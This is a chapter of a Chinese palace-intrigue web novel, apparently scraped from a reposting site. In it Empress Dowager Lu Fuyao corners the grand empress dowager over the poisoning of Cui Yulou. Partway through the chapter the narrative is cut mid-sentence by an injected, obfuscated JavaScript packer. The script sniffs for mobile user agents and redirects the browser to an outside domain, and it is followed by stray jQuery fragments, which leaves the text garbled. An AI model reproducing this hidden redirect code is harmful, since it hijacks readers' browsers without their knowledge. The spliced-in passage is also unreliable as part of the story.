广东绝色双马尾 作品

16. 太皇太后

    是啊。是谁呢?


    在宫闱内杀人,谁又有这么大的本事呢?


    陆扶摇从怀里掏出沾满了血的帕子,递给苏寒清,“你看看,这毒是什么毒。”


    接过帕子,苏寒清放在烛火下仔细看了一下,又放到鼻尖轻嗅。


    “死者可是七窍流血?”大致猜到是什么毒,苏寒清还是严谨问道。


    “还有抽搐。”陆扶摇补充说道,“我去到时人已用过晚膳。只是当时我并不知他已中毒。”


    回想起崔玉楼那般恐怖的面容,陆扶摇有些心悸地点了点头,才惊觉自己背后早已渗出了冷汗。


    怎么可能不怕。


    李旭轮的夹竹桃尚可在御花园中寻到,而这般剧毒,不知来源,更是瘆人。


    今日是崔玉楼,明日呢?


    李旭轮还是她?


    “微臣猜是鸠毒。”苏寒清将帕子放下,侧头看向陆扶摇,“娘娘应当听说过吧。”


    “嗯。”陆扶摇点头。


    羽画酒中,饮之立毙。


    前朝幼帝便是因此而亡。故而,周朝开国后便查没民间医署,严查药坊,禁止交易。只有一些大家族还保留着一些。


    现如今这般阴狠之毒重出宫闱,陆扶摇只觉得头疼。


    “这鸠毒,崔玉楼拿不到。”


    陆扶摇转着手上的玉镯,说道:“崔晦明疼爱他不假,但也没有傻到暴殄天物,将这般奇毒赠与他。”


    “那娘娘觉得这毒,是何人所下呢?”


    拿起手帕,陆扶摇微微歪头,看向苏寒清,反问,“你觉得呢?”


    看着陆扶摇的眼睛,苏寒清刚要说出答案,却猛地反应过来。


    移开目光,苏寒清盯着桌上的烛火,“微臣不知。”


    “不知呀。”


    陆扶摇的声音很飘,飘得就像是佛堂中那一缕缕的檀香,转瞬即逝。


    太皇太后将檀香插在菩萨面前,虔诚下跪。


    “非我要杀你,是局势逼人。你要报仇就去找那陆扶摇和那崔晦明。”太皇太后双手合十,看着菩萨,念念有词,“冤有头债有主,莫找我。我不是有意杀你的。是那陆扶摇。对,是陆扶摇在逼我。”


    “母后这般颠倒黑白,说得儿臣倒是伤心了。”


    原是天籁的声音,落入太皇太后的耳朵里倒是变成不亚于阎王的低吟。


    “啊!”太皇太后猛地起身,险些撞倒了供桌上的香炉。


    “母后小心呀。”口中说着小心,但陆扶摇却没有丝毫伸手搀扶的打算,反而优哉游哉地挑起了檀香。


    “你......你!”太皇太后想说什么,但在看到陆扶摇那般怡然自得的模样时,脑海空空,什么也说不出口。


    终于挑好了檀香,陆扶摇将香点燃,恭敬地献给了菩萨。


    愿菩萨保佑。


    “你是怎么进来的。”


    到底是在后宫摸爬滚打多年,太皇太后很快便站了起来,恢复往常那般高高在上的姿态。


    “想拜佛了。便借母后的佛堂一用。”陆扶摇按照习惯向菩萨行过跪拜礼,才起身看向太皇太后,“母后是不欢迎儿臣吗?”


    “你!”太皇太后气急,“你要是想用佛堂便自己建去,何苦来我这逼仄之处。”


    微微一笑,陆扶摇假装听不到太皇太后的意思,“母后是觉得这佛堂太小了吗?待明日上朝,本宫倒是可以请户部拨一款银子给母后。只是去岁西南刚刚大旱,母后这佛堂一建,御史大夫又该弹劾您了。”


    “不过没关系。您是这大周唯一的太皇太后,本宫自然会满足您。”


    “陆扶摇!”太皇太后简直要被陆扶摇这般装疯弄傻给气死了,“你这般颠倒黑白就不怕报应吗?”


    “建个佛堂而已。谈何报应。”陆扶摇收起了笑,冷冷看着太皇太后,“倒是您,以前残害嫔妃,现在谋杀朝廷命官。轮报应,也是您轮在我面前。”


    想起手底下的累累白骨,太皇太后忍不住打了一个寒战,看向那尊被供起的白玉观音。


    观音还是那样慈悲地看着她,看得她无端心悸。


    “陆扶摇。你到底想说什么?”


    她不敢看观音,匆忙别开头。


    陆扶摇注视着观音那慈悲地面容,语气也下意识地平和了起来,“我想问娘娘,今日是你要杀崔玉楼,还是你哥哥要杀崔玉楼。”


    是你裴太皇太后要杀崔玉楼还是你的哥哥——裴昭靖,裴太傅要杀崔玉楼呢?


    你们裴家,到底有没有卷入当年云州之乱呢?


    “我不知道你要说什么。”太皇太后避开陆扶摇的眼睛,坐在了蒲团上。


    “行。”陆扶摇点点头,“明日我便同崔晦明说明,崔玉楼在掖庭被人下毒。早已毒发身亡。”


    说罢,陆扶摇便起身,准备离开。


    “陆扶摇!你到底是什么意思。”


    低下头,陆扶摇看着太皇太后,面上又挂上笑容,“母后,能在宫里肆无忌惮杀人的,除了我,还有您。”


    “您想我背上滥杀崔玉楼的罪名。我可不愿背。”嘴角不断裂开,陆扶摇的笑容越发诡异,“崔玉楼这人,虽然好色贪婪,但极会看人下碟。您不仅是我大周的太皇太后,更是裴大人的嫡亲妹妹。我真想不明白,他到底得罪了你哪里,让你不得不痛下杀手。”


    “还是说,他知道一些我不能知道的消息。让你不得不杀人。”


    陆扶摇看着太皇太后露出来的疑惑,不由陷入了沉思。


    是她多想了吗?


    可她也想不出其他让一个太皇太后不得不杀人的理由。


    “我杀他。与他无干。”太皇太后低头看着那逐渐熄灭的檀香,“就像我当年杀崔贵妃,也不是她多么令人生厌。”


    而是她的儿子那么出众,而她无子。


    她必须杀了崔贵妃。因为她要一个孩子,裴家也要一个孩子。


    可那个孩子还是英年早逝了,登上皇位的,是母亲出身掖庭的李宣。裴家期盼他能将后位留个裴家。但他却执意要立陆扶摇为后。


    三年拉扯,李宣只是松口将太子太傅留给裴家。


    可是凭什么?


    当年夺嫡之时,裴家出力最大,凭什么只能得一个太子太傅。


    她不得先帝宠爱无子便罢了,可是凭什么她裴家连入场的资格都没有。


    李宣死的那天,陆扶摇哭得多伤心,她在心里就笑得有多得意。


    废了一个李宣不要紧,她还有一个皇孙。


    只是那陆扶摇可恨,与那崔家结盟。她加在中间,兄长虽不说,但她也明白兄长早已经放弃她了。


    她杀崔玉楼,与崔玉楼无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515976|170293||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    关。她只是想撕裂崔家与陆扶摇的结盟。


    听懂了太皇太后的言下之意,陆扶摇满脸不可置信。


    “蠢货。”最终陆扶摇只能抛下这一句话语。


    “我蠢?”像是一根弦被人拉断,太皇太后终是忍不住将供桌掀翻,眼睛猩红,字字泣血,“我十五入宫。我不得喜爱,可我就喜欢那个窝囊吗?四十年的光阴,为了荣华富贵,我忍了。李宣最后登基我认了。可凭什么,凭什么他死了,临朝的那个人是你?”


    “人人皆知有凰栖含元殿,可谁知我这上阳宫也有凤凰?”


    “陆扶摇!我不甘心!我不甘心!”


    像是失去全身的力气,太皇太后跌坐在了蒲团上,捂着胸口直喘气。


    “你走吧。明日直接向崔晦明告发就告发吧。”


    太皇太后累极,直接倒在满地的狼藉之中,丝毫不顾往日的礼节。


    可是,陆扶摇并没有走,只是沉默地站在那里,平静地看着她。


    仿佛过了很久,又仿佛只是过了一瞬。


    “毒是从哪里来的。”陆扶摇终于开口了。


    “我的嫁妆。”太皇太后答道。


    “还有吗?”走到太皇太后的身边,陆扶摇坐了下来,“这些剧毒在宫闱横行,对你我,皆无好处。”


    “没有了。”失了心气,太皇太后的声音都小了不少,“这种奇毒本身就少。我也是看你要对崔玉楼轻拿轻放才......”


    点点头,陆扶摇伸手将她扶起,“我姑且信你这一回。等会我会让灼华来搜寻你这上阳宫。”


    “你不信我?”太皇太后敏感说道。


    “不是不信你。是我谁都不相信。”陆扶摇将人拉起后便收起了手,深色的眼睛落在了地上的白玉观音之上,“母后,你历经三朝,可每回都以落败而告终,你该怨的,不是我。


    “你该做的,也不是在后宫里下毒。”


    太皇太后别开脸,并不愿意去听陆扶摇的话语。


    “母后,其实你比你自己想得还要聪明。”陆扶摇拾起地上的观音,用着衣袖轻轻擦拭,“你有恃无恐地在宫闱里下毒,是笃定我拿你没办法,不是吗?”


    裴家,崔家。


    对于陆扶摇而已,他们是悬在她头顶上的利剑,但也是她的依仗。


    从李宣意外离世那天起,他们三方彼此猜忌,却又彼此依赖。


    崔晦明舍得掉一个不成气候的侄子,但裴家舍不得一个太皇太后。


    “这件事。我会替你摆平。”陆扶摇将观音重新摆好,侧头看向太皇太后,“不为别人,只为裴家。”


    “你。”太皇太后还想说什么,但想到自己干出什么蠢事,声音也变小了,“你怎么这么快就知道是我。”


    “我不知道。”陆扶摇笑着眨了眨眼,“我也没证据。我乱猜的。”


    说完,陆扶摇也不等太皇太后有何反应,径直推开小佛堂的门离去了。


    刚刚出佛堂,就看见苏寒清背对着她在忽悠那上阳宫的宫人。


    “娘娘向来和善,定然不会迁怒你们。且放宽心……”


    虽然看不清苏寒清的神色,但陆扶摇也能想象出他是何等的做作。


    但做作归做作,却也活泼可爱,别有一番滋味。


    “苏寒清。”她打断了他那一番高谈阔论。